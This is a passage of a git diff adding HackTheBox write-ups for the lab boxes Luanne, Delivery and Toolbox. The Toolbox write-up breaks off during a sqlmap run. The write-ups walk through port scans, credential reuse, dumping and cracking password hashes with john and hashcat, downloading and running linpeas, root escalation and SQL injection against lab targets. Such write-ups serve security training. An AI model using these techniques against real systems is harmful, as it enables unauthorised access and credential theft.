$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu. + + Possible Hashs: + [+] MD5(Unix) + -------------------------------------------------- + + +Make sure you include the **.** at the end, it is actually part of the hash: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne] + → cat hash2 + $1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu. + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne] + → john -w=/usr/share/wordlists/rockyou.txt hash2 + Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" + Use the "--format=md5crypt-long" option to force loading these as that type instead + Using default input encoding: UTF-8 + Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) + Will run 4 OpenMP threads + Press 'q' or Ctrl-C to abort, almost any other key for status + **littlebear (?)** + 1g 0:00:00:00 DONE (2021-06-06 11:18) 11.11g/s 145066p/s 145066c/s 145066C/s jayar..hello11 + Use the "--show" option to display all of the cracked passwords reliably + Session completed + + +And there we go! We managed to get the second webapi_user password, let's test if we can privesc to the root user with the doas binary we found earlier: + + + + luanne$ doas su + Password: + # id + uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm) + # cat /root/root.txt + 7aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to privesc to the root user and print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/54_graph.png) + diff --git a/Easy/55.md b/Easy/55.md new file mode 100644 index 0000000..224e94e --- /dev/null +++ b/Easy/55.md @@ -0,0 +1,469 @@ +# Delivery Writeup + +![](img/55.png) + +## Introduction : + +Delivery is an Easy Linux box released back in January 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Delivery] + → nmap -vvv -p- 10.10.10.222 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 80/tcp on 10.10.10.222 + Discovered open port 22/tcp on 10.10.10.222 + Discovered open port 8065/tcp on 10.10.10.222 + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Delivery] + → nmap -sCV -p 80,22,8065 10.10.10.222 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-06 16:42 CEST + Nmap scan report for 10.10.10.222 + Host is up (0.025s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) + | ssh-hostkey: + | 2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA) + | 256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA) + |_ 256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519) + 80/tcp open http nginx 1.14.2 + |_http-server-header: nginx/1.14.2 + |_http-title: Welcome + 8065/tcp open unknown + | fingerprint-strings: + | GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: + | HTTP/1.1 400 Bad Request + | Content-Type: text/plain; charset=utf-8 + | Connection: close + | Request + | GetRequest: + | HTTP/1.0 200 OK + | Accept-Ranges: bytes + | Cache-Control: no-cache, max-age=31556926, public + | Content-Length: 3108 + | Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com + | Content-Type: text/html; charset=utf-8 + | Last-Modified: Sun, 06 Jun 2021 12:18:32 GMT + | X-Frame-Options: SAMEORIGIN + | X-Request-Id: w1jipf17ppy1tgk63mkqqkxn1h + | X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false + | Date: Sun, 06 Jun 2021 14:50:30 GMT + | HTTPOptions: + | HTTP/1.0 405 Method Not Allowed + | Date: Sun, 06 Jun 2021 14:50:30 GMT + |_ Content-Length: 0 + 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : + SF-Port8065-TCP:V=7.91%I=7%D=6/6%Time=60BCDEDC%P=x86_64-pc-linux-gnu%r(Gen + SF:ericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te + SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2 + SF:0Request")%r(GetRequest,DF3,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\x + SF:20bytes\r\nCache-Control:\x20no-cache,\x20max-age=31556926,\x20public\r + SF:\nContent-Length:\x203108\r\nContent-Security-Policy:\x20frame-ancestor + SF:s\x20'self';\x20script-src\x20'self'\x20cdn\.rudderlabs\.com\r\nContent + SF:-Type:\x20text/html;\x20charset=utf-8\r\nLast-Modified:\x20Sun,\x2006\x + SF:20Jun\x202021\x2012:18:32\x20GMT\r\nX-Frame-Options:\x20SAMEORIGIN\r\nX + SF:-Request-Id:\x20w1jipf17ppy1tgk63mkqqkxn1h\r\nX-Version-Id:\x205\.30\.0 + SF:\.5\.30\.1\.57fb31b889bf81d99d8af8176d4bbaaa\.false\r\nDate:\x20Sun,\x2 + SF:006\x20Jun\x202021\x2014:50:30\x20GMT\r\n\r\n!doctype\x20html>html\x2 + SF:0lang=\"en\">head>meta\x20charset=\"utf-8\">meta\x20name=\"viewport\ + SF:"\x20content=\"width=device-width,initial-scale=1,maximum-scale=1,user- + SF:scalable=0\">meta\x20name=\"robots\"\x20content=\"noindex,\x20nofollow + SF:\">meta\x20name=\"referrer\"\x20content=\"no-referrer\">title>Matterm + SF:ost/title>meta\x20name=\"mobile-web-app-capable\"\x20content=\"yes\"> + SF:meta\x20name=\"application-name\"\x20content=\"Mattermost\">meta\x20n + SF:ame=\"format-detection\"\x20content=\"telephone=no\">link\x20re")%r(HT + SF:TPOptions,5B,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nDate:\x20 + SF:Sun,\x2006\x20Jun\x202021\x2014:50:30\x20GMT\r\nContent-Length:\x200\r\ + SF:n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent + SF:-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n4 + SF:00\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ + SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\ + SF:r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20 + SF:Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConn + SF:ection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie, + SF:67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\ + SF:x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request"); + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 91.89 seconds + + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80, so let's investigate it: + +![](prg/55_001.png) + +here we are hinted towards the domain name **helpdesk.delivery.htb** so let's add both the domain name and the subdomain to our hosts file: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Delivery] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.222 delivery.htb helpdesk.delivery.htb' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# ping -c1 delivery.htb + PING delivery.htb (10.10.10.222) 56(84) bytes of data. + 64 bytes from delivery.htb (10.10.10.222): icmp_seq=1 ttl=63 time=25.8 ms + + --- delivery.htb ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 25.761/25.761/25.761/0.000 ms + + ┌──(root💀nowhere)-[~] + └─# ping -c1 helpdesk.delivery.htb + PING delivery.htb (10.10.10.222) 56(84) bytes of data. + 64 bytes from delivery.htb (10.10.10.222): icmp_seq=1 ttl=63 time=29.8 ms + + --- delivery.htb ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 29.791/29.791/29.791/0.000 ms + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Delivery] + → + + +Delivery.htb is apparently the same website we found earlier, now let's take a look at helpdesk.delivery.htb: + +![](prg/55_002.png) + +Here we see that we are on an **osTicket** instance, let's see if we can create a ticket as a guest user: + +![](prg/55_003.png) + +We see that our ticket is created successfully: + +![](prg/55_004.png) + +Here we are given an email address that has the ticket number in it, so it might be of use later, and we can check the status of our ticket: + +![](prg/55_005.png) ![](prg/55_006.png) + +Now our nmap scan also picked up port 8065, so let's investigate it: + +![](prg/55_007.png) + +Here we see that we are on a Mattermost instance, so let's create an account: + +![](prg/55_008.png) + +Let's create an account with the ticket email address that we got provided earlier **9454299@delivery.htb** username **nihilist777** password **TestTest123*** : + +![](prg/55_009.png) + +Here we see that we need to check the inbox: + +![](prg/55_010.png) + +We get the following message: + + + ---- Registration Successful ---- Please activate your email by going to: http://delivery.htb:8065/do_verify_email?token=3my3bfb461ko6q34r68mmbypuxrfbt8trmgewq5jefyy8xhbcckgyu86ozbyc8pw&email;=9454299%40delivery.htb ) --------------------- You can sign in from: --------------------- Mattermost lets you share messages and files from your PC or phone, with instant search and archiving. For the best experience, download the apps for PC, Mac, iOS and Android from: https://mattermost.com/download/#mattermostApps ( https://mattermost.com/download/#mattermostApps + + +so we go to **http://delivery.htb:8065/do_verify_email?token=3my3bfb461ko6q34r68mmbypuxrfbt8trmgewq5jefyy8xhbcckgyu86ozbyc8pw &email;=9454299%40delivery.htb** to activate the mattermost account and login: + +![](prg/55_011.png) + +**9454299@delivery.htb TestTest123***. Once logged in in the internal chatroom, we see that the root user posted credentials to access the server: + +![](prg/55_012.png) + +So let's try to login via SSH to the server with the **maildeliverer:Youve_G0t_Mail!** credentials: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Delivery] + → ssh maildeliverer@delivery.htb + The authenticity of host 'delivery.htb (10.10.10.222)' can't be established. + ECDSA key fingerprint is SHA256:LKngIDlEjP2k8M7IAUkAoFgY/MbVVbMqvrFA6CUrHoM. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'delivery.htb,10.10.10.222' (ECDSA) to the list of known hosts. + maildeliverer@delivery.htb's password: + Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + Last login: Tue Jan 5 06:09:50 2021 from 10.10.14.5 + maildeliverer@Delivery:~$ id + uid=1000(maildeliverer) gid=1000(maildeliverer) groups=1000(maildeliverer) + maildeliverer@Delivery:~$ ls + user.txt + maildeliverer@Delivery:~$ cat user.txt + d6XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now that we're on the box as the mailedliverer user, let's enumerate the box: + + + maildeliverer@Delivery:~$ which wget curl python python3 nc + /usr/bin/wget + /usr/bin/curl + /usr/bin/python + /usr/bin/python3 + /usr/bin/nc + + + +let's get linpeas.sh onto the box: + + + [term1] + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Delivery] + → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Delivery] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + + [term2] + + maildeliverer@Delivery:~$ wget http://10.10.14.13:9090/linpeas.sh -O /tmp/peas.sh + --2021-06-07 06:23:56-- http://10.10.14.13:9090/linpeas.sh + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[======================================================================================================================================================>] 333.85K 2.03MB/s in 0.2s + + 2021-06-07 06:23:56 (2.03 MB/s) - ‘/tmp/peas.sh’ saved [341863/341863] + + maildeliverer@Delivery:~$ chmod +x /tmp/peas.sh + maildeliverer@Delivery:~$ /tmp/peas.sh + + + +` ![](prg/55_013.png) + +Now let linpeas.sh run and then scrolling through it's output you will stumble upon mysql: + +![](prg/55_014.png) + +And obviously as we saw earlier, there is a mattermost instance running: + +![](prg/55_015.png) + +It's in **/opt/mattermost** so let's check it out: + + + maildeliverer@Delivery:~$ cd /opt/mattermost + maildeliverer@Delivery:/opt/mattermost$ ls -lash + total 288K + 4.0K drwxrwxr-x 12 mattermost mattermost 4.0K Dec 26 09:24 . + 4.0K drwxr-xr-x 3 root root 4.0K Dec 26 09:22 .. + 4.0K drwxrwxr-x 2 mattermost mattermost 4.0K Dec 18 08:53 bin + 4.0K drwxrwxr-x 7 mattermost mattermost 4.0K Dec 26 09:24 client + 4.0K drwxrwxr-x 2 mattermost mattermost 4.0K Dec 26 09:23 config + 4.0K drwxrwxr-x 3 mattermost mattermost 4.0K Jun 7 05:15 data + 4.0K -rw-rw-r-- 1 mattermost mattermost 2.1K Dec 18 08:52 ENTERPRISE-EDITION-LICENSE.txt + 4.0K drwxrwxr-x 2 mattermost mattermost 4.0K Dec 18 08:52 fonts + 4.0K drwxrwxr-x 2 mattermost mattermost 4.0K Dec 18 08:52 i18n + 4.0K drwxrwxr-x 2 mattermost mattermost 4.0K Dec 26 09:23 logs + 4.0K -rw-rw-r-- 1 mattermost mattermost 898 Dec 18 08:52 manifest.txt + 224K -rw-rw-r-- 1 mattermost mattermost 224K Dec 18 08:52 NOTICE.txt + 4.0K drwxr--r-- 5 mattermost mattermost 4.0K Jun 7 05:44 plugins + 4.0K drwxrwxr-x 2 mattermost mattermost 4.0K Dec 18 08:53 prepackaged_plugins + 8.0K -rw-rw-r-- 1 mattermost mattermost 6.2K Dec 18 08:52 README.md + 4.0K drwxrwxr-x 2 mattermost mattermost 4.0K Dec 18 08:52 templates + maildeliverer@Delivery:/opt/mattermost$ ls -lash config/ + total 36K + 4.0K drwxrwxr-x 2 mattermost mattermost 4.0K Dec 26 09:23 . + 4.0K drwxrwxr-x 12 mattermost mattermost 4.0K Dec 26 09:24 .. + 4.0K -rw-rw-r-- 1 mattermost mattermost 922 Dec 18 08:52 cloud_defaults.json + 20K -rw-rw-r-- 1 mattermost mattermost 19K Jun 7 05:15 config.json + 4.0K -rw-rw-r-- 1 mattermost mattermost 243 Dec 18 08:52 README.md + maildeliverer@Delivery:/opt/mattermost$ cat config/config.json + + +Here there is a config json file, and when we peek into it, we see the following: + + + maildeliverer@Delivery:/opt/mattermost/config$ grep -A12 -i 'SqlSettings' config.json + "SqlSettings": { + "DriverName": "mysql", + "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s", + "DataSourceReplicas": [], + "DataSourceSearchReplicas": [], + "MaxIdleConns": 20, + "ConnMaxLifetimeMilliseconds": 3600000, + "MaxOpenConns": 300, + "Trace": false, + "AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez", + "QueryTimeout": 30, + "DisableDatabaseSearch": false + }, + + + +Here we get the MySQL credentials **mmuser:Crack_The_MM_Admin_PW** , and an obvious hint that we need to crack the password we're about to find in the MySQL database: + + + maildeliverer@Delivery:/opt/mattermost/config$ mysql -u 'mmuser' -p + Enter password: + Welcome to the MariaDB monitor. Commands end with ; or \g. + Your MariaDB connection id is 75 + Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10 + + Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + + Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + + MariaDB [(none)]> show databases; + +--------------------+ + | Database | + +--------------------+ + | information_schema | + | mattermost | + +--------------------+ + 2 rows in set (0.001 sec) + + MariaDB [(none)]> use mattermost; + Reading table information for completion of table and column names + You can turn off this feature to get a quicker startup with -A + + Database changed + MariaDB [mattermost]> select USERNAME,Password FROM Users; + +----------------------------------+--------------------------------------------------------------+ + | USERNAME | Password | + +----------------------------------+--------------------------------------------------------------+ + |**nihilist777 | $2a$10$dY8WN1vLdd0ZlEd0m53.ouWZXUVIgFHvMguur2g11CwssN0CdZA8q** | + | surveybot | | + | c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK | + | 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G | + |**root | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO** | + | ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq | + | channelexport | | + | 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm | + +----------------------------------+--------------------------------------------------------------+ + 8 rows in set (0.000 sec) + + +Here we see our account's hashed password, but we also see the root user's hashed password, so let's save it locally: + + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Delivery] + → vim roothash + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Delivery] + → cat roothash + $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Delivery] + → hash-identifier + ######################################################################### + # __ __ __ ______ _____ # + # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # + # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # + # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # + # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # + # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # + # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # + # By Zion3R # + # www.Blackploit.com # + # Root@Blackploit.com # + ######################################################################### + -------------------------------------------------- + HASH: $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO + + Not Found. + -------------------------------------------------- + + +Suprisingly hash-id can't identify the type of hash here, so let's identify it [online](https://hashes.com/en/tools/hash_identifier): + +![](prg/55_016.png) + +So now we know that this is probably the **bcrypt $2*$** or **Blowfish (Unix)** algorithms. Looking back at the conversation we saw earlier, we remember that the root user was talking about the **PleaseSubscribe!** password "variant" + +![](prg/55_016.png) + +So we can assume that the password used here is **PleaseSubscribe!** with some extra characters after it. Let's test that out with hashcat: + + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Delivery] + → echo 'PleaseSubscribe!' > pass.lst + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Delivery] + → cat pass.lst + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Delivery] + → hashcat --stdout pass.lst -r /usr/share/hashcat/rules/best64.rule > custom.lst + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Delivery] + → hashcat -m 3200 -a 3 "$(cat roothash)" custom.lst + hashcat (v6.1.1) starting... + + [...] + + The wordlist or mask that you are using is too small. + This means that hashcat cannot use the full parallel power of your device(s). + Unless you supply more work, your cracking speed will drop. + For tips on supplying more work, see: https://hashcat.net/faq/morework + + Approaching final keyspace - workload adjusted. + + **$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21** + + Session..........: hashcat + Status...........: Cracked + Hash.Name........: bcrypt $2*$, Blowfish (Unix) + Hash.Target......: $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v...JwgjjO + Time.Started.....: Mon Jun 7 12:42:41 2021 (1 sec) + Time.Estimated...: Mon Jun 7 12:42:42 2021 (0 secs) + Guess.Mask.......: PleaseSubscribe!21 [18] + Guess.Queue......: 21/77 (27.27%) + Speed.#1.........: 1 H/s (2.61ms) @ Accel:2 Loops:4 Thr:12 Vec:1 + Recovered........: 1/1 (100.00%) Digests + Progress.........: 1/1 (100.00%) + Rejected.........: 0/1 (0.00%) + Restore.Point....: 0/1 (0.00%) + Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1020-1024 + Candidates.#1....: PleaseSubscribe!21 -> PleaseSubscribe!21 + Hardware.Mon.#1..: Temp: 41c Fan: 0% Util:100% Core:1797MHz Mem:3504MHz Bus:16 + + Started: Mon Jun 7 12:42:20 2021 + Stopped: Mon Jun 7 12:42:43 2021 + + +And we found the password! **PleaseSubscribe!21** so let's try to login as the root user: + + + maildeliverer@Delivery:/opt/mattermost/config$ su + Password: + root@Delivery:/opt/mattermost/config# id + uid=0(root) gid=0(root) groups=0(root) + root@Delivery:/opt/mattermost/config# cat /root/root.txt + c8XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to privesc to the root user, and get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/55_graph.png) + diff --git a/Easy/56.md b/Easy/56.md new file mode 100644 index 0000000..16e28c3 --- /dev/null +++ b/Easy/56.md @@ -0,0 +1,478 @@ +# Toolbox Writeup + +![](img/56.png) + +## Introduction : + +Toolbox is an easy Windows box released back in March 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Toolbox] + → nmap -vvv -p- 10.10.10.236 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 21/tcp on 10.10.10.236 + Discovered open port 443/tcp on 10.10.10.236 + Discovered open port 135/tcp on 10.10.10.236 + Discovered open port 22/tcp on 10.10.10.236 + Discovered open port 139/tcp on 10.10.10.236 + Discovered open port 445/tcp on 10.10.10.236 + Discovered open port 47001/tcp on 10.10.10.236 + Discovered open port 5985/tcp on 10.10.10.236 + Discovered open port 49668/tcp on 10.10.10.236 + Discovered open port 49666/tcp on 10.10.10.236 + Discovered open port 49667/tcp on 10.10.10.236 + Discovered open port 49665/tcp on 10.10.10.236 + Discovered open port 49669/tcp on 10.10.10.236 + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Toolbox] + → nmap -sCV -p 21,22,135,139,445,443 10.10.10.236 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 17:43 CEST + Nmap scan report for 10.10.10.236 + Host is up (0.027s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp FileZilla ftpd + | ftp-anon: Anonymous FTP login allowed (FTP code 230) + |_-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe + | ftp-syst: + |_ SYST: UNIX emulated by FileZilla + 22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0) + | ssh-hostkey: + | 2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA) + | 256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA) + |_ 256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519) + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 443/tcp open ssl/http Apache httpd 2.4.38 ((Debian)) + |_http-server-header: Apache/2.4.38 (Debian) + |_http-title: MegaLogistics + | ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR + | Not valid before: 2020-02-18T17:45:56 + |_Not valid after: 2021-02-17T17:45:56 + |_ssl-date: TLS randomness does not represent time + | tls-alpn: + |_ http/1.1 + 445/tcp open microsoft-ds? + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: 7m50s + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2021-06-07T15:51:45 + |_ start_date: N/A + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 21.46 seconds + + + +## **Part 2 : Getting User Access** + +Now our nmap scan picked up port 443 so let's visit it: + +![](prg/56_001.png) + +Our nmap scan also picked up the **admin.megalogistic.com** domain name from the self-signed SSL certificate, so let's add it to our hosts file: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Toolbox] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.236 admin.megalogistic.com' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# ping admin.megalogistic.com -c1 + PING admin.megalogistic.com (10.10.10.236) 56(84) bytes of data. + 64 bytes from admin.megalogistic.com (10.10.10.236): icmp_seq=1 ttl=127 time=129 ms + + --- admin.megalogistic.com ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 129.228/129.228/129.228/0.000 ms + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Toolbox] + → + + + +Now before we check out the domain name let's also take a look at the FileZilla FTP server that our nmap scan picked up: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Toolbox] + → ftp 10.10.10.236 + Connected to 10.10.10.236. + 220-FileZilla Server 0.9.60 beta + 220-written by Tim Kosse (tim.kosse@filezilla-project.org) + 220 Please visit https://filezilla-project.org/ + Name (10.10.10.236:nothing): anonymous + 331 Password required for anonymous + Password: + 230 Logged on + Remote system type is UNIX. + ftp> ls + 200 Port command successful + 150 Opening data channel for directory listing of "/" + -r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe + 226 Successfully transferred "/" + ftp> + + +As expected there is anonymous login allowed. And here we find a docker-toolbox executable file, so we are hinted towards the fact that this box is running docker containers. Now back to the domain name we just added: + +![](prg/56_002.png) + +Here we see that we get an admin login page, and we see that guessing the password isn't going to work, so we try out basic SQL injections, to do so we use burpsuite to get the POST request: + +![](prg/56_003.png) + +Here just right click, copy to file and you get the following: + + + [ 10.10.14.13/23 ] [ /dev/pts/45 ] [~/HTB/Toolbox] + → ls -lash login.req + 4.0K -rw-r--r-- 1 nothing nothing 561 Jun 7 18:28 login.req + + [ 10.10.14.13/23 ] [ /dev/pts/45 ] [~/HTB/Toolbox] + → cat login.req + POST / HTTP/1.1 + Host: admin.megalogistic.com + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Content-Type: application/x-www-form-urlencoded + Content-Length: 29 + Origin: https://admin.megalogistic.com + Connection: close + Referer: https://admin.megalogistic.com/ + Cookie: PHPSESSID=5f60c9a2d0777eada696244e34c22bc5 + Upgrade-Insecure-Requests: 1 + + username=admin&password;=admin + + + +Let's use sqlmap to enumerate for potential SQL injections: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Toolbox] + → sqlmap -r login.req --risk=3 --level=3 --batch --force-ssl + ___ + __H__ + ___ ___["]_____ ___ ___ {1.5.5#stable} + |_ -| . ["] | .'| . | + |___|_ [']_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 18:30:23 /2021-06-07/ + + [18:30:23] [INFO] parsing HTTP request from 'login.req' + [18:30:24] [INFO] testing connection to the target URL + [18:30:24] [INFO] testing if the target URL content is stable + [18:30:24] [INFO] target URL content is stable + [18:30:24] [INFO] testing if POST parameter 'username' is dynamic + [18:30:25] [WARNING] POST parameter 'username' does not appear to be dynamic + [18:30:25] [INFO] heuristic (basic) test shows that POST parameter 'username' might be injectable (possible DBMS: 'PostgreSQL') + [18:30:25] [INFO] testing for SQL injection on POST parameter 'username' + it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y + for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (3) value? [Y/n] Y + [18:30:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' + got a 302 redirect to 'https://admin.megalogistic.com:443/dashboard.php'. Do you want to follow? [Y/n] Y + redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N + [18:30:35] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause' + [18:30:36] [INFO] POST parameter 'username' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --code=302) + 